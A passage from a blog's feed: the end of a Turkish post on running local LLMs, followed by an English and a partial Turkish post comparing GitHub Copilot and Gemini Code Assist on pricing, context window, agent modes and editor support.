1.  Kayna&amp;gbreve;&amp;inodot;n&amp;inodot; bilmedi&amp;gbreve;iniz, Hugging Face &amp;uuml;zerinde kimin payla&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot; belirsiz model dosyalar&amp;inodot;n&amp;inodot; sisteminize indirmeyin.
2.  &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z aray&amp;uuml;z yaz&amp;inodot;l&amp;inodot;mlar&amp;inodot;n&amp;inodot; d&amp;uuml;zenli g&amp;uuml;ncelleyin.
3.  M&amp;uuml;mk&amp;uuml;nse yapay zeka sunucusunu evdeki di&amp;gbreve;er kritik a&amp;gbreve;lardan ve hassas sistemlerden izole edin.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sadede-gelirsek"&gt;Sadede Gelirsek&lt;a class="headerlink" href="#sadede-gelirsek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;2026 y&amp;inodot;l&amp;inodot; itibar&amp;inodot;yla yerel yapay zeka &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak art&amp;inodot;k sadece bir hobi de&amp;gbreve;il, gizlilik ve b&amp;uuml;t&amp;ccedil;e y&amp;ouml;netimi i&amp;ccedil;in &amp;ccedil;ok mant&amp;inodot;kl&amp;inodot; bir ad&amp;inodot;m haline geldi. Ollama ile ba&amp;scedil;lay&amp;inodot;p sisteminizin s&amp;inodot;n&amp;inodot;rlar&amp;inodot;n&amp;inodot; g&amp;ouml;rmek en mant&amp;inodot;kl&amp;inodot; yol olacakt&amp;inodot;r dostum. 🚀&lt;/p&gt;
&lt;p&gt;G&amp;uuml;n&amp;uuml;n sonunda yerel modeller bulutun devasa i&amp;scedil;lem g&amp;uuml;c&amp;uuml;n&amp;uuml; tamamen yakalayamasa da, kendi kontrol&amp;uuml;n&amp;uuml;zde olan, internet kesilse bile t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r &amp;ccedil;al&amp;inodot;&amp;scedil;an bir yapay zekaya sahip olmak paha bi&amp;ccedil;ilemez.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Yo&amp;gbreve;un kullan&amp;inodot;m senaryolar&amp;inodot;nda, bulut sa&amp;gbreve;lay&amp;inodot;c&amp;inodot;lara &amp;ouml;denen para zamanla kendi donan&amp;inodot;m&amp;inodot;n&amp;inodot;z&amp;inodot; kurma maliyetini geride b&amp;inodot;rak&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Yapay zekay&amp;inodot; ekran kart&amp;inodot; (GPU) yerine sadece i&amp;scedil;lemciyle (CPU) &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmaya zorlamak, spor arabay&amp;inodot; el freni &amp;ccedil;ekik &amp;scedil;ekilde yoku&amp;scedil; yukar&amp;inodot; s&amp;uuml;rmeye &amp;ccedil;al&amp;inodot;&amp;scedil;mak gibidir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;T&amp;uuml;rkiye'de ev tipi (mesken) elektrik fiyatlar&amp;inodot; kademelidir. EPDK'n&amp;inodot;n 2026 tarifelerine g&amp;ouml;re, vergiler dahil 1 kWh elektrik maliyeti ortalama 3,24 TL ile 5,46 TL aras&amp;inodot;nda de&amp;gbreve;i&amp;scedil;mektedir. G&amp;uuml;nde ortalama 8 saat tam y&amp;uuml;kte &amp;ccedil;al&amp;inodot;&amp;scedil;an tek GPU'lu bir geli&amp;scedil;tirici i&amp;scedil; istasyonu ayl&amp;inodot;k yakla&amp;scedil;&amp;inodot;k 120-150 kWh aras&amp;inodot; t&amp;uuml;ketim yapar ve faturaya yans&amp;inodot;mas&amp;inodot; bu aral&amp;inodot;&amp;gbreve;a denk gelir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="yapay-zeka"/><category term="yerel-llm"/><category term="ollama"/><category term="llama-cpp"/><category term="vllm"/><category term="rehber"/></entry><entry><title>Gemini Code Assist vs GitHub Copilot Comparison (2026): Which One is Worth the Money?</title><link href="https://yuceltoluyag.github.io/en/gemini-code-assist-vs-github-copilot-2026/" rel="alternate"/><published>2026-06-04T21:00:00+03:00</published><updated>2026-06-04T21:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/en/gemini-code-assist-vs-github-copilot-2026/</id><summary type="html">&lt;p&gt;We compare GitHub Copilot and Google Gemini Code Assist, the two giants of the software world in 2026, across all dimensions. Details on prices, model quality, and context window.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last night at my desk, with some light jazz music playing in the background, I was trying to clean up the code of one of our old Python projects. 💻 Looking at the spaghetti-like folder structure that had piled up over the years, my heart sank. I activated GitHub Copilot, which has been my right hand for years; but no matter what I did, I couldn't get it to grasp the entire project at once. Right at that moment, I decided to give Google Gemini Code Assist a shot, which had been sitting installed on my computer for a while. The feeling I had when I loaded the project into Gemini's famous, massive 1-million-token memory was something else. Let's lay this silent battle in the developer world on the table and see which one deserves your money, my friend. 🚀&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-pricing-cards-are-dealt-who-wants-how-much"&gt;The Pricing Cards Are Dealt: Who Wants How Much? 💰&lt;a class="headerlink" href="#the-pricing-cards-are-dealt-who-wants-how-much" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When competition heated up in our neighborhood, both giants reshuffled the cards in their subscription packages.&lt;/p&gt;
&lt;h3 id="github-copilot-plans-2026"&gt;GitHub Copilot Plans (2026)&lt;a class="headerlink" href="#github-copilot-plans-2026" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;GitHub set the price for individual developers to $10 a month (around 460 TL), turning the field into a blazing fire. In a market where other options (like Cursor or Windsurf) demand $15-$20, this move made a huge splash. The current packages are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Free Version:&lt;/strong&gt; Gives 2,000 code completions and 50 chats per month; ideal for those who don't play around with it much but want it as a backup. Offers access to models like Claude 3.5 Sonnet and GPT-4o.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro Version ($10 / Month - Around 460 TL):&lt;/strong&gt; This is the package individual developers should choose directly. Unlimited code completions and chat, from Claude Sonnet to o1, it has everything you need. Plus, multi-file editing and terminal integration are included.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro+ Version ($20 / Month - Around 920 TL):&lt;/strong&gt; In addition to the Pro plan, it grants 1,500 priority requests for the autonomous agent mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Business Version ($19 / User/Month - Around 870 TL):&lt;/strong&gt; Adds management permissions, intellectual property protection, and content filters for companies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise Version ($39 / User/Month - Around 1,790 TL):&lt;/strong&gt; Features advanced options like connecting the company's internal documentation, generating PR summaries, and training models based on custom code patterns.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="gemini-code-assist-plans-2026"&gt;Gemini Code Assist Plans (2026)&lt;a class="headerlink" href="#gemini-code-assist-plans-2026" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;On Google's side, while the Standard package starts at $19, their free tier is seriously generous:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Individual Free Version:&lt;/strong&gt; A whopping 6,000 code completions and 240 chats per day! You didn't hear it wrong, this is a daily limit, not monthly. Just this free version alone deserves to sit on the side of developer tools.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Standard Version ($19 / Month - Around 870 TL):&lt;/strong&gt; Offers unlimited code completions and chat, Gemini 2.5 Pro and Flash models, Model Context Protocol (MCP) support&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;, and GitHub PR integration. (For details on utilizing the Model Context Protocol, you can also look into my guide on &lt;a href="/en/qwen3-mcp-server-aktif-etme/"&gt;Qwen 3.6 MCP Server Activation&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise Version ($45 / User/Month - Around 2,070 TL):&lt;/strong&gt; Adds customization based on your private codebase, deep Google Cloud Platform (GCP) integrations (Firebase, BigQuery etc.), custom model fine-tuning, and security firewalls.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="memory-and-intelligence-clash-model-quality-and-context-difference_1"&gt;Memory and Intelligence Clash: Model Quality and Context Difference 🧠&lt;a class="headerlink" href="#memory-and-intelligence-clash-model-quality-and-context-difference" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To get to the point, money is the easy part. What really matters to us is which one serves as our right hand in the terminal.&lt;/p&gt;
&lt;h3 id="copilots-model-flexibility"&gt;Copilot's Model Flexibility&lt;a class="headerlink" href="#copilots-model-flexibility" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Copilot's biggest plus is that you aren't locked into a single model. You can choose Claude 3.5 Sonnet for simple tasks, GPT-4o for general questions, and the OpenAI o1 model for complex algorithmic problems that need heavy reasoning with a single click. However, context management in large projects still lags behind its competitors. If you want to set up local alternatives instead of cloud services for coding, you can look into my &lt;a href="/en/yerel-llm-kurulum-rehberi-2026/"&gt;Self-Hosted LLMs in 2026&lt;/a&gt; guide, and you can check out my comparison on &lt;a href="/en/en-iyi-yerel-llm-modelleri-2026/"&gt;Best Local LLM Models in 2026&lt;/a&gt; for the best coding models to run locally.&lt;/p&gt;
&lt;h3 id="geminis-1-million-token-advantage"&gt;Gemini's 1-Million-Token Advantage&lt;a class="headerlink" href="#geminis-1-million-token-advantage" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Gemini Code Assist's biggest card is its &lt;strong&gt;1-million-token context window&lt;/strong&gt;. Trying to write code in a large project with a tiny context window is like trying to paint a room through a keyhole. Gemini, on the other hand, can take monorepos or legacy systems into its memory at once and interpret the relationships between files without losing anything. Also, thanks to its Next Edit Predictions structure, it acts very pro-actively while writing code.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="autonomous-agents-face-face-agent-mode_1"&gt;Autonomous Agents Face Face: Agent Mode 🤖&lt;a class="headerlink" href="#autonomous-agents-face-face-agent-mode" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It is 2026, and simple auto-completion doesn't cut it anymore; both assistants have agent modes that plan on their own in the background and run commands in the terminal.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Copilot Agent Mode:&lt;/strong&gt; With a single command, it can analyze code, make changes across multiple files, and run tests in the terminal. It is very handy for small, well-defined bug fixes or refactoring tasks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemini Agent Mode:&lt;/strong&gt; Thanks to its massive 1-million-token memory, it makes fewer mistakes in multi-file changes. Also, because it can connect to external data sources, it is not limited to just your codebase. However, because Copilot's agent has been out in the wild longer, it feels a bit more practical in daily use.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="integration-and-ecosystem"&gt;Integration and Ecosystem ⚙️&lt;a class="headerlink" href="#integration-and-ecosystem" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In terms of editor support, Copilot's years of dominance still continue. It runs smoothly on VS Code, JetBrains, Neovim, Visual Studio, and Eclipse. Also, its integration with the GitHub platform makes processes like generating PR summaries or doing code reviews very successful. If you want to connect a local code model directly to your VS Code environment, my &lt;a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Local AI Setup Guide&lt;/a&gt; will make your job much easier.&lt;/p&gt;
&lt;p&gt;Gemini hasn't officially spread anywhere else besides VS Code and JetBrains yet. However, it gets its strength from Google Cloud Platform (GCP) integration. If your project runs on Firebase, BigQuery, Cloud Run, or Apigee, Gemini can query your cloud infrastructure directly and generate code that fits best.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="performance-comparison-table"&gt;Performance Comparison Table&lt;a class="headerlink" href="#performance-comparison-table" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Feature&lt;/th&gt;
&lt;th style="text-align: left;"&gt;GitHub Copilot Pro&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Gemini Code Assist Standard&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Individual Price&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;~$10 / Month (460 TL)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;~$19 / Month (870 TL)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Free Version&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;2k completions / Month&lt;/td&gt;
&lt;td style="text-align: left;"&gt;6k requests / Day&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Model Selection&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Claude Sonnet, GPT-4o, o1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Gemini 2.5 Pro / Flash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Context Window&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Indexing by project&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1 Million Tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;IDE Support&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Very wide (including Neovim)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;VS Code and JetBrains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Cloud Integration&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;None&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Deep Google Cloud Integration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Intellectual Property Protection&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Yes (Microsoft IP Indemnity)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Only in Enterprise plan&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="if-you-are-confused-which-one-should-you-choose"&gt;If You Are Confused: Which One Should You Choose?&lt;a class="headerlink" href="#if-you-are-confused-which-one-should-you-choose" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Budget and Individual Use:&lt;/strong&gt; If you want to access the best models (especially Claude 3.5 Sonnet) by paying only $10 a month, Copilot Pro is unmatched right now.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Large Codebases:&lt;/strong&gt; If you are dealing with large projects consisting of monorepos or dozens of interdependent folders, Gemini's 1-million-token memory is a lifesaver.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Cloud Users:&lt;/strong&gt; If your infrastructure is on Google Cloud, Gemini's integrations mean you don't need to look for another tool.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Long story short, if your budget is tight or you aren't in the Google Cloud ecosystem, Copilot Pro at 460 TL (~$10) a month is the most sensible harbor right now, my friend. 🚀&lt;/p&gt;
&lt;p&gt;Stay safe!&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Model Context Protocol (MCP) is an open-source standard that allows local or remote AI models to securely access local files, databases, or tools on your computer.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;IP Indemnity is a protection where Microsoft commits to legally protect its customer in case the generated code creates copyright infringement.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Yazılım"/><category term="github-copilot"/><category term="gemini-code-assist"/><category term="yapay-zeka"/><category term="kod-asistani"/><category term="vscode"/></entry><entry><title>Gemini Code Assist ve GitHub Copilot Karşılaştırması (2026): Hangisi Parasına Değer?</title><link href="https://yuceltoluyag.github.io/gemini-code-assist-vs-github-copilot-2026/" rel="alternate"/><published>2026-06-04T21:00:00+03:00</published><updated>2026-06-04T21:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-04:/gemini-code-assist-vs-github-copilot-2026/</id><summary type="html">&lt;p&gt;2026 yılında yazılım dünyasının iki devi olan GitHub Copilot ve Google Gemini Code Assist'i tüm yönleriyle karşılaştırıyoruz. Fiyatlar, model kalitesi ve bağlam penceresi gibi detaylar.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en ak&amp;scedil;am &amp;ccedil;al&amp;inodot;&amp;scedil;ma masamda, arka planda hafif bir caz m&amp;uuml;zik e&amp;scedil;li&amp;gbreve;inde bizim eski bir Python projesinin kodlar&amp;inodot;n&amp;inodot; temizlemeye &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yordum. 💻 Y&amp;inodot;llar i&amp;ccedil;inde birikmi&amp;scedil;, spagettiye d&amp;ouml;nm&amp;uuml;&amp;scedil; klas&amp;ouml;r yap&amp;inodot;s&amp;inodot;na bakarken i&amp;ccedil;im darald&amp;inodot;. Y&amp;inodot;llard&amp;inodot;r sa&amp;gbreve; kolum olan GitHub Copilot'u aktif ettim; ama ne yapt&amp;inodot;ysam projenin tamam&amp;inodot;n&amp;inodot; tek seferde alg&amp;inodot;lamas&amp;inodot;n&amp;inodot; sa&amp;gbreve;layamad&amp;inodot;m. Tam o anda, bir s&amp;uuml;redir bilgisayar&amp;inodot;mda y&amp;uuml;kl&amp;uuml; duran Google Gemini Code Assist'e bir &amp;scedil;ans vermeye karar verdim. Projeyi Gemini'nin o me&amp;scedil;hur 1 milyon tokenl&amp;inodot;k devasa haf&amp;inodot;zas&amp;inodot;na y&amp;uuml;kledi&amp;gbreve;imde ya&amp;scedil;ad&amp;inodot;&amp;gbreve;&amp;inodot;m his bamba&amp;scedil;kayd&amp;inodot;. Geli&amp;scedil;tirici d&amp;uuml;nyas&amp;inodot;ndaki bu sessiz sava&amp;scedil;&amp;inodot; ve hangisinin paran&amp;inodot;z&amp;inodot; hak etti&amp;gbreve;ini derinlemesine masaya yat&amp;inodot;ral&amp;inodot;m dostum.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="fiyat-kartlar-aclyor-kim-ne-kadar-istiyor"&gt;Fiyat Kartlar&amp;inodot; A&amp;ccedil;&amp;inodot;l&amp;inodot;yor: Kim Ne Kadar &amp;Idot;stiyor? 💰&lt;a class="headerlink" href="#fiyat-kartlar-aclyor-kim-ne-kadar-istiyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bizim mahallede rekabet iyice k&amp;inodot;z&amp;inodot;&amp;scedil;&amp;inodot;nca, iki dev de abonelik paketlerinde kartlar&amp;inodot;n&amp;inodot; yeniden da&amp;gbreve;&amp;inodot;tt&amp;inodot;. &lt;/p&gt;
&lt;h3 id="github-copilot-planlar-2026"&gt;GitHub Copilot Planlar&amp;inodot; (2026)&lt;a class="headerlink" href="#github-copilot-planlar-2026" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;GitHub, bireysel tak&amp;inodot;lan geli&amp;scedil;tiriciler i&amp;ccedil;in fiyat&amp;inodot; ayl&amp;inodot;k 10 dolara (yakla&amp;scedil;&amp;inodot;k 460 TL) &amp;ccedil;ekip ortal&amp;inodot;&amp;gbreve;&amp;inodot; resmen yang&amp;inodot;n yerine &amp;ccedil;evirdi. Di&amp;gbreve;er alternatiflerin (Cursor veya Windsurf gibi) 15-20 dolar istedi&amp;gbreve;i yerde bu hamle b&amp;uuml;y&amp;uuml;k ses getirdi. G&amp;uuml;ncel paketler &amp;scedil;u &amp;scedil;ekilde:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;Uuml;cretsiz S&amp;uuml;r&amp;uuml;m (Free):&lt;/strong&gt; Ayda 2.000 kod tamamlama ve 50 chat hakk&amp;inodot; veriyor; hani &amp;ccedil;ok kurcalamayan ama kenarda yedek olarak dursun diyenler i&amp;ccedil;in ideal. Claude 3.5 Sonnet ve GPT-4o gibi modellere eri&amp;scedil;im sunuyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro S&amp;uuml;r&amp;uuml;m (10 Dolar / Ay - Yakla&amp;scedil;&amp;inodot;k 460 TL):&lt;/strong&gt; Bireysel geli&amp;scedil;tiricilerin do&amp;gbreve;rudan se&amp;ccedil;mesi gereken paket bu. S&amp;inodot;n&amp;inodot;rs&amp;inodot;z kod tamamlama ve chat, Claude Sonnet'ten o1'e kadar ne ararsan var. &amp;Uuml;stelik &amp;ccedil;oklu dosya d&amp;uuml;zenleme ve terminal entegrasyonu da cabas&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pro+ S&amp;uuml;r&amp;uuml;m (20 Dolar / Ay - Yakla&amp;scedil;&amp;inodot;k 920 TL):&lt;/strong&gt; Pro plan&amp;inodot;na ek olarak otonom &amp;ccedil;al&amp;inodot;&amp;scedil;an ajan modu i&amp;ccedil;in 1.500 &amp;ouml;ncelikli istek hakk&amp;inodot; tan&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Business S&amp;uuml;r&amp;uuml;m (19 Dolar / Kullan&amp;inodot;c&amp;inodot;/Ay - Yakla&amp;scedil;&amp;inodot;k 870 TL):&lt;/strong&gt; &amp;Scedil;irketler i&amp;ccedil;in y&amp;ouml;netim yetkileri, fikri m&amp;uuml;lkiyet korumas&amp;inodot; ve i&amp;ccedil;erik filtreleri ekliyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise S&amp;uuml;r&amp;uuml;m (39 Dolar / Kullan&amp;inodot;c&amp;inodot;/Ay - Yakla&amp;scedil;&amp;inodot;k 1.790 TL):&lt;/strong&gt; &amp;Scedil;irketin kendi i&amp;ccedil; d&amp;ouml;k&amp;uuml;mantasyonunu ba&amp;gbreve;lama, PR &amp;ouml;zetleri &amp;ccedil;&amp;inodot;karma ve &amp;ouml;zel kod desenlerine g&amp;ouml;re model e&amp;gbreve;itme gibi ileri d&amp;uuml;zey &amp;ouml;zellikleri bar&amp;inodot;nd&amp;inodot;r&amp;inodot;yor.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="gemini-code-assist-planlar-2026"&gt;Gemini Code Assist Planlar&amp;inodot; (2026)&lt;a class="headerlink" href="#gemini-code-assist-planlar-2026" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Google taraf&amp;inodot;nda ise Standard paket 19 dolardan ba&amp;scedil;lasa da, adamlar&amp;inodot;n &amp;uuml;cretsiz s&amp;uuml;r&amp;uuml;m&amp;uuml; cidden &amp;ccedil;ok c&amp;ouml;mert:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bireysel &amp;Uuml;cretsiz S&amp;uuml;r&amp;uuml;m:&lt;/strong&gt; G&amp;uuml;nde tam 6.000 kod tamamlama ve 240 chat hakk&amp;inodot;! Yanl&amp;inodot;&amp;scedil; duymad&amp;inodot;n, ayl&amp;inodot;k de&amp;gbreve;il g&amp;uuml;nl&amp;uuml;k limit bu. S&amp;inodot;rf bu &amp;uuml;cretsiz s&amp;uuml;r&amp;uuml;m bile geli&amp;scedil;tirici ara&amp;ccedil;lar&amp;inodot; aras&amp;inodot;nda kenarda durmay&amp;inodot; hak ediyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Standard S&amp;uuml;r&amp;uuml;m (19 Dolar / Ay - Yakla&amp;scedil;&amp;inodot;k 870 TL):&lt;/strong&gt; S&amp;inodot;n&amp;inodot;rs&amp;inodot;z kod tamamlama ve sohbet, Gemini 2.5 Pro ve Flash modelleri, Model Ba&amp;gbreve;lant&amp;inodot; Protokol&amp;uuml; (MCP) deste&amp;gbreve;i&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; ve GitHub PR entegrasyonu sunuyor. (Model Context Protocol kullan&amp;inodot;m&amp;inodot;yla ilgili &lt;a href="/qwen3-mcp-server-aktif-etme/"&gt;Qwen 3.6 MCP Server Aktif Etme&lt;/a&gt; yaz&amp;inodot;ma da g&amp;ouml;z atabilirsiniz).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enterprise S&amp;uuml;r&amp;uuml;m (45 Dolar / Kullan&amp;inodot;c&amp;inodot;/Ay - Yakla&amp;scedil;&amp;inodot;k 2.070 TL):&lt;/strong&gt; Kendi &amp;ouml;zel kod taban&amp;inodot;n&amp;inodot;za g&amp;ouml;re &amp;ouml;zelle&amp;scedil;tirme, derin Google Cloud (GCP) entegrasyonlar&amp;inodot; (Firebase, BigQuery vs.), &amp;ouml;zel model ince ayar&amp;inodot; ve g&amp;uuml;venlik duvarlar&amp;inodot; ekliyor.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="hafza-ve-zeka-cekismesi-model-kalitesi-ve-baglam-fark_1"&gt;Haf&amp;inodot;za ve Zeka &amp;Ccedil;eki&amp;scedil;mesi: Model Kalitesi ve Ba&amp;gbreve;lam Fark&amp;inodot; 🧠&lt;a class="headerlink" href="#hafza-ve-zeka-cekismesi-model-kalitesi-ve-baglam-fark" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sadede gelirsek; para pul i&amp;scedil;in kolay k&amp;inodot;sm&amp;inodot;. Bizim i&amp;ccedil;in as&amp;inodot;l &amp;ouml;nemli olan, hangisinin terminalde elimiz aya&amp;gbreve;&amp;inodot;m&amp;inodot;z oldu&amp;gbreve;udur.&lt;/p&gt;
&lt;h3 id="copilotun-model-esnekligi"&gt;Copilot'un Model Esnekli&amp;gbreve;i&lt;a class="headerlink" href="#copilotun-model-esnekligi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Copilot'un en b&amp;uuml;y&amp;uuml;k art&amp;inodot;s&amp;inodot; tek bir modele mahkum olmaman&amp;inodot;zd&amp;inodot;r. Basit i&amp;scedil;ler i&amp;ccedil;in Claude 3.5 Sonnet'i, genel sorular i&amp;ccedil;in GPT-4o'yu, karma&amp;scedil;&amp;inodot;k mant&amp;inodot;k y&amp;uuml;r&amp;uuml;tme gerektiren algoritmik problemler i&amp;ccedil;in ise OpenAI o1 modelini tek t&amp;inodot;kla se&amp;ccedil;ebiliyorsunuz. Ancak b&amp;uuml;y&amp;uuml;k projelerdeki ba&amp;gbreve;lam y&amp;ouml;netimi h&amp;acirc;l&amp;acirc; rakiplerinin gerisinde kal&amp;inodot;yor. Kodlama i&amp;ccedil;in bulut servisleri yerine yerel alternatifleri kurmak isterseniz &lt;a href="/yerel-llm-kurulum-rehberi-2026/"&gt;Kendi Sunucunda Yapay Zeka (2026)&lt;/a&gt; rehberime, ayr&amp;inodot;ca yerelde kullanabilece&amp;gbreve;iniz en iyi kodlama modelleri i&amp;ccedil;in &lt;a href="/en-iyi-yerel-llm-modelleri-2026/"&gt;En &amp;Idot;yi Yerel LLM Modelleri (2026)&lt;/a&gt; kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;rmama g&amp;ouml;z atabilirsiniz.&lt;/p&gt;
&lt;h3 id="gemininin-1-milyon-token-avantaj"&gt;Gemini'nin 1 Milyon Token Avantaj&amp;inodot;&lt;a class="headerlink" href="#gemininin-1-milyon-token-avantaj" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
